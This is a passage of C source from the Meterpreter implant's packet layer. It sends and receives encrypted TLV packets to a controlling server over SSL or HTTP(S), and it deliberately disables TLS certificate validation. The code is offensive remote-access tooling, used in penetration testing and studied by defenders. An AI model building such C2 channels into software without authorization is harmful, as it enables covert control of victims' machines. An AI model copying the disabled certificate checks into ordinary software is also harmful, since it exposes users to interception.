DWORD packet_call_completion_handlers( Remote *remote, Packet *response, LPCSTR requestId )
{
	PacketCompletionRoutineEntry *current;
	DWORD result = packet_get_result( response );
	DWORD matches = 0;
	Tlv methodTlv;
	LPCSTR method = NULL;

	// Get the method associated with this packet
	if (packet_get_tlv_string(response, TLV_TYPE_METHOD, &methodTlv) == ERROR_SUCCESS)
		method = (LPCSTR)methodTlv.buffer;

	// Enumerate the completion routine list
	for (current = packetCompletionRoutineList; current; current = current->next)
	{
		// Does the request id of the completion entry match the packet's request
		// id?
		if (strcmp(requestId, current->requestId))
			continue;

		// Call the completion routine
		current->handler.routine(remote, response, current->handler.context,
				method, result);

		// Increment the number of matched handlers
		matches++;
	}

	if (matches)
		packet_remove_completion_handler(requestId);

	return (matches > 0) ? ERROR_SUCCESS : ERROR_NOT_FOUND;
}

/*!
 * @brief Remove a set of completion routine handlers for a given request identifier.
 * @param requestId ID of the request.
 * @return \c ERROR_SUCCESS is always returned.
 */
DWORD packet_remove_completion_handler( LPCSTR requestId )
{
	PacketCompletionRoutineEntry *current, *next, *prev;

	// Enumerate the list, removing entries that match
	for (current = packetCompletionRoutineList, next = NULL, prev = NULL;
	     current;
		  prev = current, current = next)
	{
		next = current->next;

		if (strcmp(requestId, current->requestId))
			continue;

		// Remove the entry from the list
		if (prev)
			prev->next = next;
		else
			packetCompletionRoutineList = next;

		// Deallocate it
		free((PCHAR)current->requestId);
		free(current);
	}

	return ERROR_SUCCESS;
}

/*!
 * @brief Transmit a packet via SSL _and_ destroy it.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the \c Packet that is to be sent.
 * @param completion Pointer to the completion routines to process.
 * @return An indication of the result of processing the transmission request.
 * @remark This uses an SSL-encrypted TCP channel, and does not imply the use of HTTPS.
 */
DWORD packet_transmit_via_ssl( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
{
	CryptoContext *crypto;
	Tlv requestId;
	DWORD res;
	DWORD idx;
#ifdef _UNIX
	int local_error = -1;
#endif

	lock_acquire( remote->lock );

	// If the packet does not already have a request identifier, create one for it
	if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,&requestId) != ERROR_SUCCESS)
	{
		DWORD index;
		CHAR rid[32];

		rid[sizeof(rid) - 1] = 0;

		for (index = 0; index < sizeof(rid) - 1; index++)
			rid[index] = (rand() % 0x5e) + 0x21;

		packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
	}

	do
	{
		// If a completion routine was supplied and the packet has a request
		// identifier, insert the completion routine into the list
		if ((completion) &&
		    (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
				&requestId) == ERROR_SUCCESS))
			packet_add_completion_handler((LPCSTR)requestId.buffer, completion);

		// If the endpoint has a cipher established and this is not a plaintext
		// packet, we encrypt
		if ((crypto = remote_get_cipher(remote)) &&
		    (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
		    (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
		{
			ULONG origPayloadLength = packet->payloadLength;
			PUCHAR origPayload = packet->payload;

			// Encrypt
			if ((res = crypto->handlers.encrypt(crypto, packet->payload,
					packet->payloadLength, &packet->payload,
					&packet->payloadLength)) !=
					ERROR_SUCCESS)
			{
				SetLastError(res);
				break;
			}

			// Destroy the original payload as we no longer need it
			free(origPayload);

			// Update the header length
			packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
		}

		idx = 0;
		while( idx < sizeof(packet->header))
		{
			// Transmit the packet's header (length, type)
			res = SSL_write(
				remote->ssl,
				(LPCSTR)(&packet->header) + idx,
				sizeof(packet->header) - idx
			);

			if(res <= 0) {
				dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
				break;
			}
			idx += res;
		}

		if(res < 0)
			break;

		idx = 0;
		while( idx < packet->payloadLength)
		{
			// Transmit the packet's payload (length, type)
			res = SSL_write(
				remote->ssl,
				packet->payload + idx,
				packet->payloadLength - idx
			);
			if(res < 0)
				break;

			idx += res;
		}

		if(res < 0) {
			dprintf("[PACKET] transmit header failed with return %d at index %d\n", res, idx);
			break;
		}

		SetLastError(ERROR_SUCCESS);
	} while (0);

	res = GetLastError();

	// Destroy the packet
	packet_destroy(packet);

	lock_release( remote->lock );

	return res;
}

#ifdef _WIN32
#ifdef USE_WINHTTP
/*!
 * @brief Windows-specific function to transmit a packet via HTTP(s) using winhttp _and_ destroy it.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the \c Packet that is to be sent.
 * @param completion Pointer to the completion routines to process.
 * @return An indication of the result of processing the transmission request.
 * @remark This function is not available on POSIX.
 */
DWORD packet_transmit_via_http_winhttp(Remote *remote, Packet *packet, PacketRequestCompletion *completion)
{
	DWORD res = 0;
	HINTERNET hReq;
	BOOL hRes;
	DWORD retries = 5;
	DWORD flags;
	DWORD flen;
	unsigned char *buffer;

	flen = sizeof(flags);

	buffer = malloc(packet->payloadLength + sizeof(TlvHeader));
	if (!buffer)
	{
		SetLastError(ERROR_NOT_FOUND);
		return 0;
	}

	memcpy(buffer, &packet->header, sizeof(TlvHeader));
	memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);

	do
	{
		flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
		if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
		{
			flags |= WINHTTP_FLAG_SECURE;
			dprintf("[PACKET TRANSMIT] Setting secure flag");
		}

		hReq = WinHttpOpenRequest(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags);

		if (hReq == NULL)
		{
			dprintf("[PACKET TRANSMIT] Failed WinHttpOpenRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		dprintf("[PACKET TRANSMIT] Request created: %x", hReq);

		if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
		{
			flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
				| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
				| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
				| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;

			if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
			{
				dprintf("[PACKET TRANSMIT] failed to set security flags");
			}
		}
		dprintf("[PACKET TRANSMIT] flags set to : %x", flags);

		hRes = WinHttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader), packet->payloadLength + sizeof(TlvHeader), 0);

		if (! hRes)
		{
			dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		dprintf("[PACKET TRANSMIT] request sent.. apparently");
	} while(0);

	memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
	WinHttpCloseHandle(hReq);
	return res;
}

#else

/*!
 * @brief Windows-specific function to transmit a packet via HTTP(s) _and_ destroy it.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the \c Packet that is to be sent.
 * @param completion Pointer to the completion routines to process.
 * @return An indication of the result of processing the transmission request.
 * @remark This function is not available on POSIX.
 */
DWORD packet_transmit_via_http_wininet( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
{
	DWORD res = 0;
	HINTERNET hReq;
	BOOL hRes;
	DWORD retries = 5;
	DWORD flags;
	DWORD flen;
	unsigned char *buffer;

	flen = sizeof(flags);

	buffer = malloc( packet->payloadLength + sizeof(TlvHeader) );
	if (! buffer) {
		SetLastError(ERROR_NOT_FOUND);
		return 0;
	}

	memcpy(buffer, &packet->header, sizeof(TlvHeader));
	memcpy(buffer + sizeof(TlvHeader), packet->payload, packet->payloadLength);

	do {

		flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
		if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
			flags |= INTERNET_FLAG_SECURE |  INTERNET_FLAG_IGNORE_CERT_CN_INVALID  | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
		}

		hReq = HttpOpenRequest(remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0);

		if (hReq == NULL) {
			dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
			InternetQueryOption( hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
			flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
			InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
		}

		hRes = HttpSendRequest(hReq, NULL, 0, buffer, packet->payloadLength + sizeof(TlvHeader) );

		if (! hRes) {
			dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}
	} while(0);

	memset(buffer, 0, packet->payloadLength + sizeof(TlvHeader));
	InternetCloseHandle(hReq);
	return res;
}
#endif

#endif


/*!
 * @brief Transmit a packet via HTTP(s) _and_ destroy it.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the \c Packet that is to be sent.
 * @param completion Pointer to the completion routines to process.
 * @return An indication of the result of processing the transmission request.
 */
DWORD packet_transmit_via_http( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
{
	CryptoContext *crypto;
	Tlv requestId;
	DWORD res;
#ifdef _UNIX
	int local_error = -1;
#endif


	lock_acquire( remote->lock );

	// If the packet does not already have a request identifier, create one for it
	if (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID, &requestId) != ERROR_SUCCESS)
	{
		DWORD index;
		CHAR rid[32];

		rid[sizeof(rid)-1] = 0;

		for (index = 0; index < sizeof(rid)-1; index++)
		{
			rid[index] = (rand() % 0x5e) + 0x21;
		}

		packet_add_tlv_string(packet, TLV_TYPE_REQUEST_ID, rid);
	}

	do
	{
		// If a completion routine was supplied and the packet has a request
		// identifier, insert the completion routine into the list
		if ((completion) &&
		    (packet_get_tlv_string(packet, TLV_TYPE_REQUEST_ID,
				&requestId) == ERROR_SUCCESS))
			packet_add_completion_handler((LPCSTR)requestId.buffer, completion);

		// If the endpoint has a cipher established and this is not a plaintext
		// packet, we encrypt
		if ((crypto = remote_get_cipher(remote)) &&
		    (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
		    (packet_get_type(packet) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
		{
			ULONG origPayloadLength = packet->payloadLength;
			PUCHAR origPayload = packet->payload;

			// Encrypt
			if ((res = crypto->handlers.encrypt(crypto, packet->payload,
					packet->payloadLength, &packet->payload,
					&packet->payloadLength)) !=
					ERROR_SUCCESS)
			{
				SetLastError(res);
				break;
			}

			// Destroy the original payload as we no longer need it
			free(origPayload);

			// Update the header length
			packet->header.length = htonl(packet->payloadLength + sizeof(TlvHeader));
		}

#ifdef _WIN32
		dprintf("Transmitting packet of length %d to remote", packet->payloadLength);
		res = packet_transmit_via_http_lib(remote, packet, completion);
#else
		// XXX: Implement non-windows HTTP delivery
#endif

		if(res < 0) {
			dprintf("[PACKET] transmit failed with return %d\n", res);
			break;
		}

		SetLastError(ERROR_SUCCESS);
	} while (0);

	res = GetLastError();

	// Destroy the packet
	packet_destroy(packet);

	lock_release( remote->lock );

	return res;
}

/*!
 * @brief Transmit _and_ destroy a packet.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the \c Packet that is to be sent.
 * @param completion Pointer to the completion routines to process.
 * @return An indication of the result of processing the transmission request.
 * @remark This function simply proxies to \c packet_transmit_via_ssl or \c packet_transmit_via_http
 *         depending on what the remote transport type is.
 */
DWORD packet_transmit( Remote *remote, Packet *packet, PacketRequestCompletion *completion )
{
	if (remote->transport == METERPRETER_TRANSPORT_SSL)
	{
		return packet_transmit_via_ssl(remote, packet, completion);
	}
	if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
	{
		return packet_transmit_via_http(remote, packet, completion);
	}
	return 0;
}

/*!
 * @brief Transmit a response with just a result code to the remote endpoint.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to the \c Packet that is to be sent.
 * @param res Result code to return.
 * @return An indication of the result of processing the transmission request.
 */
DWORD packet_transmit_empty_response( Remote *remote, Packet *packet, DWORD res )
{
	Packet *response = packet_create_response(packet);

	if (!response)
		return ERROR_NOT_ENOUGH_MEMORY;

	// Add the result code
	packet_add_tlv_uint(response, TLV_TYPE_RESULT, res);

	// Transmit the response
	return packet_transmit(remote, response, NULL);
}

/*!
 * @brief Receive a new packet on the given remote endpoint.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to a pointer that will receive the \c Packet data.
 * @return An indication of the result of processing the transmission request.
 */
DWORD packet_receive(Remote *remote, Packet **packet)
{
	DWORD headerBytes = 0, payloadBytesLeft = 0, res;
	CryptoContext *crypto = NULL;
	Packet *localPacket = NULL;
	TlvHeader header;
	LONG bytesRead;
	BOOL inHeader = TRUE;
	PUCHAR payload = NULL;
	ULONG payloadLength;

#ifdef _UNIX
	int local_error = -1;
#endif

	if (remote->transport == METERPRETER_TRANSPORT_HTTP || remote->transport == METERPRETER_TRANSPORT_HTTPS)
	{
		return packet_receive_via_http(remote, packet);
	}

	lock_acquire(remote->lock);

	do
	{
		// Read the packet length
		while (inHeader)
		{
			if ((bytesRead = SSL_read(remote->ssl, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader)-headerBytes)) <= 0)
			{
				if (!bytesRead)
				{
					SetLastError(ERROR_NOT_FOUND);
				}

				if (bytesRead < 0)
				{
					dprintf("[PACKET] receive header failed with error code %d. SSLerror=%d, WSALastError=%d\n", bytesRead, SSL_get_error(remote->ssl, bytesRead), WSAGetLastError());
					SetLastError(ERROR_NOT_FOUND);
				}

				break;
			}

			headerBytes += bytesRead;

			if (headerBytes != sizeof(TlvHeader))
			{
				continue;
			}

			inHeader = FALSE;
		}

		if (headerBytes != sizeof(TlvHeader))
		{
			break;
		}

		// Initialize the header
		header.length = header.length;
		header.type = header.type;
		payloadLength = ntohl(header.length) - sizeof(TlvHeader);
		payloadBytesLeft = payloadLength;

		// Allocate the payload
		if (!(payload = (PUCHAR)malloc(payloadLength)))
		{
			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		// Read the payload
		while (payloadBytesLeft > 0)
		{
			if ((bytesRead = SSL_read(remote->ssl, payload + payloadLength - payloadBytesLeft, payloadBytesLeft)) <= 0)
			{

				if (GetLastError() == WSAEWOULDBLOCK)
				{
					continue;
				}

				if (!bytesRead)
				{
					SetLastError(ERROR_NOT_FOUND);
				}

				if (bytesRead < 0)
				{
					dprintf("[PACKET] receive payload of length %d failed with error code %d. SSLerror=%d\n", payloadLength, bytesRead, SSL_get_error(remote->ssl, bytesRead));
					SetLastError(ERROR_NOT_FOUND);
				}

				break;
			}

			payloadBytesLeft -= bytesRead;
		}

		// Didn't finish?
		if (payloadBytesLeft)
		{
			break;
		}

		// Allocate a packet structure
		if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
		{
			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		memset(localPacket, 0, sizeof(Packet));

		// If the connection has an established cipher and this packet is not
		// plaintext, decrypt
		if ((crypto = remote_get_cipher(remote)) &&
			(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
			(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
		{
			ULONG origPayloadLength = payloadLength;
			PUCHAR origPayload = payload;

			// Decrypt
			if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS)
			{
				SetLastError(res);
				break;
			}

			// We no longer need the encrypted payload
			free(origPayload);
		}

		localPacket->header.length = header.length;
		localPacket->header.type = header.type;
		localPacket->payload = payload;
		localPacket->payloadLength = payloadLength;

		*packet = localPacket;

		SetLastError(ERROR_SUCCESS);

	} while (0);

	res = GetLastError();

	// Cleanup on failure
	if (res != ERROR_SUCCESS)
	{
		if (payload)
		{
			free(payload);
		}
		if (localPacket)
		{
			free(localPacket);
		}
	}

	lock_release(remote->lock);

	return res;
}

#ifdef _WIN32
#ifdef USE_WINHTTP

/*!
 * @brief Windows-specific function to receive a new packet via WinHTTP.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to a pointer that will receive the \c Packet data.
 * @return An indication of the result of processing the transmission request.
 * @remark This function is not available in POSIX.
 */
DWORD packet_receive_http_via_winhttp(Remote *remote, Packet **packet)
{
	DWORD headerBytes = 0, payloadBytesLeft = 0, res;
	CryptoContext *crypto = NULL;
	Packet *localPacket = NULL;
	TlvHeader header;
	LONG bytesRead;
	BOOL inHeader = TRUE;
	PUCHAR payload = NULL;
	ULONG payloadLength;
	DWORD flags;

	HINTERNET hReq;
	BOOL hRes;
	DWORD retries = 5;

	lock_acquire(remote->lock);

	do
	{
		flags = WINHTTP_FLAG_BYPASS_PROXY_CACHE;
		if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
		{
			flags |= WINHTTP_FLAG_SECURE;
			dprintf("[PACKET RECEIVE WINHTTPS] Setting secure flag..");
		}

		dprintf("[PACKET RECEIVE WINHTTPS] opening request on connection %x to %S", remote->hConnection, remote->uri);
		hReq = WinHttpOpenRequest(remote->hConnection, L"POST", remote->uri, NULL, NULL, NULL, flags);

		if (hReq == NULL)
		{
			dprintf("[PACKET RECEIVE] Failed WinHttpOpenRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		if (remote->transport == METERPRETER_TRANSPORT_HTTPS)
		{
			dprintf("[PACKET RECEIVE WINHTTPS] transport is SSL, setting up...");
			flags = SECURITY_FLAG_IGNORE_UNKNOWN_CA
				| SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
				| SECURITY_FLAG_IGNORE_CERT_CN_INVALID
				| SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE;
			if (!WinHttpSetOption(hReq, WINHTTP_OPTION_SECURITY_FLAGS, &flags, sizeof(flags)))
			{
				dprintf("[PACKET RECEIVE WINHTTPS] failed to set the security flags on the request");
			}
		}

		dprintf("[PACKET RECEIVE WINHTTPS] sending the 'RECV' command...");
		// TODO: when the MSF side supports it, update this so that it's UTF8
		char pRecv[] = "RECV";
		hRes = WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0, pRecv, sizeof(pRecv), sizeof(pRecv), 0);

		if (!hRes)
		{
			dprintf("[PACKET RECEIVE] Failed WinHttpSendRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		// TODO: validate the server certificate

		dprintf("[PACKET RECEIVE WINHTTPS] Waiting to see the response ...");
		if (!WinHttpReceiveResponse(hReq, NULL))
		{
			dprintf("[PACKET RECEIVE] Failed WinHttpReceiveResponse: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		DWORD dwSize = 0;
		if (!WinHttpQueryDataAvailable(hReq, &dwSize))
		{
			dprintf("[PACKET RECEIVE WINHTTPS] WinHttpQueryDataAvailable failed: %x", GetLastError());
		}
		else
		{
			dprintf("[PACKET RECEIVE WINHTTPS] Available data: %u bytes", dwSize);
		}

		// Read the packet length
		retries = 3;
		dprintf("[PACKET RECEIVE WINHTTPS] Start looping through the receive calls");
		while (inHeader && retries > 0)
		{
			retries--;
			if (!WinHttpReadData(hReq, (PUCHAR)&header + headerBytes, sizeof(TlvHeader)-headerBytes, &bytesRead))
			{
				dprintf("[PACKET RECEIVE] Failed HEADER WinhttpReadData: %d", GetLastError());
				SetLastError(ERROR_NOT_FOUND);
				break;
			}

			dprintf("[PACKET RECEIVE WINHTTPS] Data received: %u bytes", bytesRead);

			// If the response contains no data, this is fine, it just means the
			// remote side had nothing to tell us. Indicate this through a
			// ERROR_EMPTY response code so we can update the timestamp.
			if (bytesRead == 0)
			{
				SetLastError(ERROR_EMPTY);
				break;
			}

			headerBytes += bytesRead;

			if (headerBytes != sizeof(TlvHeader))
			{
				continue;
			}

			inHeader = FALSE;
		}

		if (GetLastError() == ERROR_EMPTY)
		{
			break;
		}

		if (headerBytes != sizeof(TlvHeader))
		{
			dprintf("[PACKET RECEIVE WINHTTPS] headerBytes no valid");
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		// Initialize the header
		dprintf("[PACKET RECEIVE WINHTTPS] initialising header");
		header.length = header.length;
		header.type = header.type;
		payloadLength = ntohl(header.length) - sizeof(TlvHeader);
		payloadBytesLeft = payloadLength;

		// Allocate the payload
		if (!(payload = (PUCHAR)malloc(payloadLength)))
		{
			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		// Read the payload
		retries = payloadBytesLeft;
		while (payloadBytesLeft > 0 && retries > 0)
		{
			dprintf("[PACKET RECEIVE WINHTTPS] reading more data from the body...");
			retries--;
			if (!WinHttpReadData(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))
			{
				dprintf("[PACKET RECEIVE] Failed BODY WinHttpReadData: %d", GetLastError());
				SetLastError(ERROR_NOT_FOUND);
				break;
			}

			if (!bytesRead)
			{
				dprintf("PAYLOAD: %s", payload);

				dprintf("[PACKET RECEIVE WINHTTPS] no bytes read, bailing out");
				SetLastError(ERROR_NOT_FOUND);
				break;
			}

			dprintf("[PACKET RECEIVE WINHTTPS] bytes read: %u", bytesRead);
			payloadBytesLeft -= bytesRead;
		}

		// Didn't finish?
		if (payloadBytesLeft)
		{
			break;
		}

		// Allocate a packet structure
		if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
		{
			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		memset(localPacket, 0, sizeof(Packet));

		// If the connection has an established cipher and this packet is not
		// plaintext, decrypt
		if ((crypto = remote_get_cipher(remote)) &&
			(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
			(packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
		{
			ULONG origPayloadLength = payloadLength;
			PUCHAR origPayload = payload;

			// Decrypt
			if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength, &payload, &payloadLength)) != ERROR_SUCCESS)
			{
				SetLastError(res);
				break;
			}

			// We no longer need the encrypted payload
			free(origPayload);
		}

		localPacket->header.length = header.length;
		localPacket->header.type = header.type;
		localPacket->payload = payload;
		localPacket->payloadLength = payloadLength;

		*packet = localPacket;

		SetLastError(ERROR_SUCCESS);

	} while (0);

	res = GetLastError();

	// Cleanup on failure
	if (res != ERROR_SUCCESS)
	{
		if (payload)
		{
			free(payload);
		}
		if (localPacket)
		{
			free(localPacket);
		}
	}

	if (hReq)
	{
		WinHttpCloseHandle(hReq);
	}

	lock_release(remote->lock);

	return res;
}

#else

/*!
 * @brief Windows-specific function to receive a new packet via WinInet.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to a pointer that will receive the \c Packet data.
 * @return An indication of the result of processing the transmission request.
 * @remark This function is not available in POSIX.
 */
DWORD packet_receive_http_via_wininet( Remote *remote, Packet **packet )
{

	DWORD headerBytes = 0, payloadBytesLeft = 0, res;
	CryptoContext *crypto = NULL;
	Packet *localPacket = NULL;
	TlvHeader header;
	LONG bytesRead;
	BOOL inHeader = TRUE;
	PUCHAR payload = NULL;
	ULONG payloadLength;
	DWORD flags;
	DWORD flen;

	HINTERNET hReq;
	BOOL hRes;
	DWORD retries = 5;

	lock_acquire( remote->lock );

	do {

		flags = INTERNET_FLAG_RELOAD | INTERNET_FLAG_NO_CACHE_WRITE | INTERNET_FLAG_NO_AUTO_REDIRECT | INTERNET_FLAG_NO_UI;
		if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
			flags |= INTERNET_FLAG_SECURE | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID;
		}
		dprintf("[PACKET RECEIVE] HttpOpenRequest");
		hReq = HttpOpenRequest( remote->hConnection, "POST", remote->uri, NULL, NULL, NULL, flags, 0 );

		if (hReq == NULL) {
			dprintf("[PACKET RECEIVE] Failed HttpOpenRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		if (remote->transport == METERPRETER_TRANSPORT_HTTPS) {
			InternetQueryOption( hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, &flen);
			flags |= SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_UNKNOWN_CA;
			InternetSetOption(hReq, INTERNET_OPTION_SECURITY_FLAGS, &flags, flen);
		}

		hRes = HttpSendRequest(hReq, NULL, 0, "RECV", 4 );
		if (! hRes) {
			dprintf("[PACKET RECEIVE] Failed HttpSendRequest: %d", GetLastError());
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		// Read the packet length
		retries = 3;
		while (inHeader && retries > 0)
		{
			retries--;
			if (! InternetReadFile(hReq, ((PUCHAR)&header + headerBytes), sizeof(TlvHeader) - headerBytes, &bytesRead))  {
				dprintf("[PACKET RECEIVE] Failed HEADER InternetReadFile: %d", GetLastError());
				SetLastError(ERROR_NOT_FOUND);
				break;
			}

			// If the response contains no data, this is fine, it just means the
			// remote side had nothing to tell us. Indicate this through a
			// ERROR_EMPTY response code so we can update the timestamp.
			if (bytesRead == 0) {
				SetLastError(ERROR_EMPTY);
				break;
			}

			headerBytes += bytesRead;

			if (headerBytes != sizeof(TlvHeader)) {
				continue;
			} else {
				inHeader = FALSE;
			}
		}

		if (GetLastError() == ERROR_EMPTY)
			break;

		if (headerBytes != sizeof(TlvHeader)) {
			SetLastError(ERROR_NOT_FOUND);
			break;
		}

		// Initialize the header
		header.length    = header.length;
		header.type      = header.type;
		payloadLength    = ntohl(header.length) - sizeof(TlvHeader);
		payloadBytesLeft = payloadLength;

		// Allocate the payload
		if (!(payload = (PUCHAR)malloc(payloadLength)))
		{
			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		// Read the payload
		retries = payloadBytesLeft;
		while (payloadBytesLeft > 0 && retries > 0 )
		{
			retries--;
			if (! InternetReadFile(hReq, payload + payloadLength - payloadBytesLeft, payloadBytesLeft, &bytesRead))  {
				dprintf("[PACKET RECEIVE] Failed BODY InternetReadFile: %d", GetLastError());
				SetLastError(ERROR_NOT_FOUND);
				break;
			}

			if (!bytesRead) {
				SetLastError(ERROR_NOT_FOUND);
				break;
			}

			payloadBytesLeft -= bytesRead;
		}

		// Didn't finish?
		if (payloadBytesLeft)
			break;

		// Allocate a packet structure
		if (!(localPacket = (Packet *)malloc(sizeof(Packet))))
		{
			SetLastError(ERROR_NOT_ENOUGH_MEMORY);
			break;
		}

		memset( localPacket, 0, sizeof(Packet) );

		// If the connection has an established cipher and this packet is not
		// plaintext, decrypt
		if ((crypto = remote_get_cipher(remote)) &&
		    (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_REQUEST) &&
		    (packet_get_type(localPacket) != PACKET_TLV_TYPE_PLAIN_RESPONSE))
		{
			ULONG origPayloadLength = payloadLength;
			PUCHAR origPayload = payload;

			// Decrypt
			if ((res = crypto->handlers.decrypt(crypto, payload, payloadLength,&payload, &payloadLength)) != ERROR_SUCCESS)
			{
				SetLastError(res);
				break;
			}

			// We no longer need the encrypted payload
			free(origPayload);
		}

		localPacket->header.length = header.length;
		localPacket->header.type   = header.type;
		localPacket->payload       = payload;
		localPacket->payloadLength = payloadLength;

		*packet = localPacket;

		SetLastError(ERROR_SUCCESS);

	} while (0);

	res = GetLastError();

	// Cleanup on failure
	if (res != ERROR_SUCCESS)
	{
		if (payload)
			free(payload);
		if (localPacket)
			free(localPacket);
	}

	if (hReq)
		InternetCloseHandle(hReq);

	lock_release( remote->lock );

	return res;
}
#endif

#endif



/*!
 * @brief Windows-specific function to receive a new packet via WinInet.
 * @param remote Pointer to the \c Remote instance.
 * @param packet Pointer to a pointer that will receive the \c Packet data.
 * @return An indication of the result of processing the transmission request.
 * @remark This function is just a proxy which calls \c packet_receive_http_via_wininet
 *         and doesn't yet have a POSIX implementation.
 */
DWORD packet_receive_via_http( Remote *remote, Packet **packet )
{
#ifdef _WIN32
#ifdef USE_WINHTTP
	return packet_receive_http_via_winhttp(remote, packet);
#else
	return packet_receive_http_via_wininet(remote, packet);
#endif
#else
	return 0;
#endif
}